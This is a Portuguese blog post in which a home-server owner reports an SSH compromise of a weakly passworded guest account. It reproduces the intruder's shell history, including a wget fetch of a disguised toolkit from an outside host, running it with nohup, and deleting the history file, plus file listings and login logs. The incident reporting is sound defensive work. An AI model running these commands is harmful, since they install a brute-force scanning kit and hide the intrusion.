É verdade. Hoje ao aceder ao computador que uso em casa como servidor reparei que estavam dois executáveis, um com o nome a, outro com o nome start, bem como uma data de processos sshd a correr na conta do utilizador "visitante". O visitante é uma conta que serve para quem precisar, utilizar o computador como self-service quando lá vai a casa.
Acontece que, pela natureza da conta, a password que lhe estava associada era muito estúpida. Sugestão: é a primeira coisa que vos vem à cabeça quando lêem o nome do utilizador. Até aqui nada de especial. Não fosse o facto de este computador estar disponível para acesso remoto através da Internet. E não fosse o facto de eu nunca me ter lembrado de proibir o acesso remoto através desta conta. Algo que devia ter feito, dada a password estúpida que lá tinha.
Posto isto, era uma questão de tempo até acontecer o que aconteceu. Deixo aqui um "relatório" do que encontrei na máquina:
- Últimas instruções executadas e não escondidas pelo atacante (aparentemente apagou o registo das instruções mais antigas):
# cat .bash_history rm -rf .system killall -9 httpd rm -rf .bash_history rm -rf Quick rm -rf Quick.mp3 wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe uptime wget http://www.visatorul.go.ro/Quick.mp3 tar -xzvf Quick.mp3 cd Quick chmod +x * nohup ./start 204 >>/dev/null & cd Quick cat vuln.txt cd Quick cat vuln.txt cd Quick cat vuln.txt ps -x cd Quick cat vuln.txt cd Quick cat vuln.txt cd Quick cat vuln.txt cd Quick cat vuln.txt cd Quick cat vuln.txt cd Quick cat vuln.txt
O site http://www.visatorul.go.ro, de onde foi sacado o Quick.mp3 (na verdade um pacote gzip), ainda está disponível e contém diversas ferramentas úteis para realizar ataques deste tipo.
- Conteúdo da directoria Quick, para onde foi extraído o conteúdo do ficheiro Quick.mp3:
# ls -a /home/visitante/Quick total 2.6M drwxr-xr-x 2 visitante visitante 4.0K Feb 25 23:21 ./ drwxr-xr-x 22 visitante visitante 4.0K Feb 21 01:05 ../ -rwxr-xr-x 1 visitante visitante 382 Mar 25 2006 0-20 -rwxr-xr-x 1 visitante visitante 405 Mar 25 2006 101-120 -rwxr-xr-x 1 visitante visitante 406 Mar 25 2006 121-140 -rwxr-xr-x 1 visitante visitante 405 Mar 25 2006 141-160 -rwxr-xr-x 1 visitante visitante 405 Mar 25 2006 161-180 -rwxr-xr-x 1 visitante visitante 405 Mar 25 2006 181-200 -rwxr-xr-x 1 visitante visitante 460 Mar 25 2006 201-225 -rwxr-xr-x 1 visitante visitante 384 Mar 25 2006 21-40 -rwxr-xr-x 1 visitante visitante 515 Mar 25 2006 226-255 -rwxr-xr-x 1 visitante visitante 383 Mar 25 2006 41-60 -rwxr-xr-x 1 visitante visitante 383 Mar 25 2006 61-80 -rwxr-xr-x 1 visitante visitante 385 Mar 25 2006 81-100 -rwxr-xr-x 1 visitante visitante 466 May 6 2008 a -rwxr-xr-x 1 visitante visitante 5.9K May 15 2005 pscan2 -rwxr-xr-x 1 visitante visitante 309 May 6 2008 scan -rwxr-xr-x 1 visitante visitante 245K Feb 13 2001 screen -rwxr-xr-x 1 visitante visitante 1.4M Jun 5 2005 sshd -rwxr-xr-x 1 visitante visitante 3.2K May 6 2008 start -rwxr-xr-x 1 visitante visitante 5.7K May 15 2005 pscan2.c -rw-r--r-- 1 visitante visitante 28K Feb 25 21:34 scan.log -rwxr-xr-x 1 visitante visitante 78K Feb 25 05:15 nobash.txt -rwxr-xr-x 1 visitante visitante 75K Mar 10 2007 pass.txt -rwxr-xr-x 1 visitante visitante 684K Feb 24 19:05 vuln.txt
- Tipos reais dos ficheiros:
# file W2Ksp3.exe Quick.mp3
W2Ksp3.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
Quick.mp3: gzip compressed data, from Unix, last modified: Tue May 6 17:32:53 2008
# file Quick/*
Quick/0-20: ASCII text
Quick/101-120: ASCII text
Quick/121-140: ASCII text
Quick/141-160: ASCII text
Quick/161-180: ASCII text
Quick/181-200: ASCII text
Quick/201-225: ASCII text
Quick/21-40: ASCII text
Quick/226-255: ASCII text
Quick/41-60: ASCII text
Quick/61-80: ASCII text
Quick/81-100: ASCII text
Quick/a: Bourne-Again shell script text executable
Quick/nobash.txt: ASCII Pascal program text
Quick/pass.txt: ASCII Pascal program text
Quick/pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped
Quick/pscan2.c: ASCII C program text
Quick/scan: Bourne-Again shell script text executable
Quick/scan.log: ASCII text
Quick/screen: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped
Quick/sshd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.0.0, not stripped
Quick/start: ASCII C++ program text
Quick/vuln.txt: ASCII text
Ao analisar os scripts deixados percebe-se que o atacante pretende pelo menos localizar outras máquinas onde seja possível entrar com recurso a ataques de bruteforce/dicionário. Não encontrei vestígios de tentativas de escalada de privilégios.
- As entradas na máquina foram todas provenientes de IPs dentro da gama 80.79.152.0 - 80.79.159.255, alocada à "Gulf Research & Development Company", do Líbano. Provavelmente outra vítima destes ataques. As linhas brancas correspondem a entradas legítimas na máquina feitas por mim:
# last visitant pts/7 80.79.159.129 Mon Feb 25 18:27 - 18:31 (00:03) visitant pts/7 80.79.159.207 Sun Feb 24 20:58 - 20:58 (00:00) visitant pts/7 80.79.159.68 Sun Feb 24 11:17 - 11:17 (00:00) visitant pts/7 80.79.159.236 Sat Feb 23 17:50 - 17:50 (00:00) visitant pts/7 80.79.159.236 Sat Feb 23 17:41 - 17:42 (00:01) visitant pts/9 80.79.159.18 Sat Feb 23 09:02 - 09:02 (00:00) visitant pts/7 80.79.159.179 Sat Feb 23 08:58 - 09:14 (00:16) visitant pts/7 80.79.159.73 Fri Feb 22 18:25 - 18:26 (00:00) visitant pts/7 80.79.159.186 Thu Feb 21 08:53 - 08:53 (00:00) visitant pts/7 80.79.159.118 Thu Feb 21 01:05 - 01:12 (00:07) visitant pts/7 80.79.159.118 Wed Feb 20 21:22 - 21:25 (00:03) visitant pts/7 80.79.159.118 Wed Feb 20 19:56 - 19:57 (00:00) visitant pts/7 80.79.159.129 Tue Feb 19 09:54 - 09:55 (00:01) visitant pts/7 80.79.159.206 Mon Feb 18 19:04 - 19:11 (00:06) visitant pts/7 80.79.159.163 Sun Feb 17 07:49 - 07:56 (00:06) visitant pts/7 80.79.159.194 Sat Feb 16 09:47 - 10:01 (00:14) visitant pts/7 80.79.159.86 Fri Feb 15 19:33 - 19:33 (00:00) visitant pts/7 80.79.159.184 Thu Feb 14 08:53 - 08:54 (00:00) visitant pts/7 80.79.159.95 Wed Feb 13 18:51 - 18:53 (00:01) visitant pts/7 80.79.159.192 Wed Feb 13 06:59 - 09:10 (02:11) visitant pts/7 80.79.159.180 Tue Feb 12 18:55 - 19:00 (00:04) visitant pts/7 80.79.159.243 Tue Feb 12 09:54 - 10:03 (00:08) visitant pts/7 80.79.159.189 Mon Feb 11 19:36 - 19:37 (00:00) visitant pts/7 80.79.159.189 Mon Feb 11 18:19 - 18:20 (00:00) visitant pts/7 80.79.159.189 Mon Feb 11 18:11 - 18:17 (00:06)
Dadas as durações dos acessos, leva a crer que se trata de um bot que só se liga para deixar instruções previamente decididas, e não de alguém que tenha andado a "cheirar" os ficheiros do computador. Exceptuando, talvez, durante o dia 13 de manhã.
- Registo de acessos:
# lesspipe /var/log/auth.log.2.gz |grep "Accepted password" Feb 11 12:10:16 sshd[1966]: Accepted password for visitante from 201.238.204.67 port 37068 ssh2 Feb 11 18:11:07 sshd[7375]: Accepted password for visitante from 80.79.159.189 port 23054 ssh2 Feb 11 18:19:54 sshd[7534]: Accepted password for visitante from 80.79.159.189 port 22739 ssh2 Feb 11 19:36:43 sshd[8196]: Accepted password for visitante from 80.79.159.189 port 22919 ssh2 Feb 12 09:54:33 sshd[10735]: Accepted password for visitante from 80.79.159.243 port 3454 ssh2 Feb 12 18:55:20 sshd[13432]: Accepted password for visitante from 80.79.159.180 port 42865 ssh2 Feb 13 06:59:21 sshd[17464]: Accepted password for visitante from 80.79.159.192 port 5037 ssh2 Feb 13 18:51:32 sshd[22779]: Accepted password for visitante from 80.79.159.95 port 27166 ssh2 Feb 14 08:53:31 sshd[31507]: Accepted password for visitante from 80.79.159.184 port 2579 ssh2 Feb 15 19:33:00 sshd[23053]: Accepted password for visitante from 80.79.159.86 port 56613 ssh2 Feb 16 09:47:26 sshd[30487]: Accepted password for visitante from 80.79.159.194 port 56333 ssh2 # grep "Accepted password" /var/log/auth.log.1 Feb 17 07:49:45 sshd[10186]: Accepted password for visitante from 80.79.159.163 port 63784 ssh2 Feb 18 19:04:13 sshd[21598]: Accepted password for visitante from 80.79.159.206 port 51549 ssh2 Feb 19 09:54:14 sshd[25465]: Accepted password for visitante from 80.79.159.129 port 25247 ssh2 Feb 20 19:56:58 sshd[32602]: Accepted password for visitante from 80.79.159.118 port 40872 ssh2 Feb 20 21:22:01 sshd[32715]: Accepted password for visitante from 80.79.159.118 port 40947 ssh2 Feb 21 01:05:34 sshd[891]: Accepted password for visitante from 80.79.159.118 port 40872 ssh2 Feb 21 08:53:13 sshd[17609]: Accepted password for visitante from 80.79.159.186 port 35478 ssh2 Feb 22 18:25:05 sshd[24206]: Accepted password for visitante from 80.79.159.73 port 40585 ssh2 Feb 23 08:58:03 sshd[27106]: Accepted password for visitante from 80.79.159.179 port 61723 ssh2 Feb 23 09:02:07 sshd[27118]: Accepted password for visitante from 80.79.159.18 port 17361 ssh2 Feb 23 17:41:54 sshd[31889]: Accepted password for visitante from 80.79.159.236 port 16591 ssh2 Feb 23 17:50:30 sshd[31912]: Accepted password for visitante from 80.79.159.236 port 16261 ssh2 # grep "Accepted password" /var/log/auth.log Feb 24 11:17:09 sshd[4021]: Accepted password for visitante from 80.79.159.68 port 43311 ssh2 Feb 24 20:58:24 sshd[7093]: Accepted password for visitante from 80.79.159.207 port 48938 ssh2 Feb 25 18:27:50 sshd[15629]: Accepted password for visitante from 80.79.159.129 port 19269 ssh2
Interessante como o primeiro login com sucesso foi proveniente do IP 201.238.204.67. Os subsequentes, feitos a partir do mesmo dia ao final da tarde, já vieram todos a partir da subnet 80.79.159.XX. Dá a sensação de que houve comunicação da parte de um "descobridor" para um "atacante" de que foi descoberto um "alvo".
- O ClamAV não encontrou nada de especial. Na verdade, também não me pareceu estarem envolvidos programas muito estranhos. Apenas ferramentas comuns que tiram partido das passwords fracas como a que eu tinha:
# clamscan --infected -r /home/visitante/ ----------- SCAN SUMMARY ----------- Known viruses: 1868992 Engine version: 0.97.6 Scanned directories: 136 Scanned files: 223 Infected files: 0 Data scanned: 54.67 MB Data read: 107.96 MB (ratio 0.51:1) Time: 53.460 sec (0 m 53 s)
Não encontrei nada suspeito na /tmp/ nem ficheiros pertencentes ao visitante fora da sua directoria home. Não encontrei nada de suspeito fora da directoria Quick.
Se alguém tiver conselhos para aprofundar a análise/ficheiros a investigar, agradeço.
Encontrei muito poucas referências a ataques deste tipo (com estes ficheiros em particular). Este relatório no site Shell Person parece semelhante. Aliás, este post foi inspirado no mesmo.
Os ficheiros encontrados no computador estão disponíveis para análise aqui.
Sem comentários:
Enviar um comentário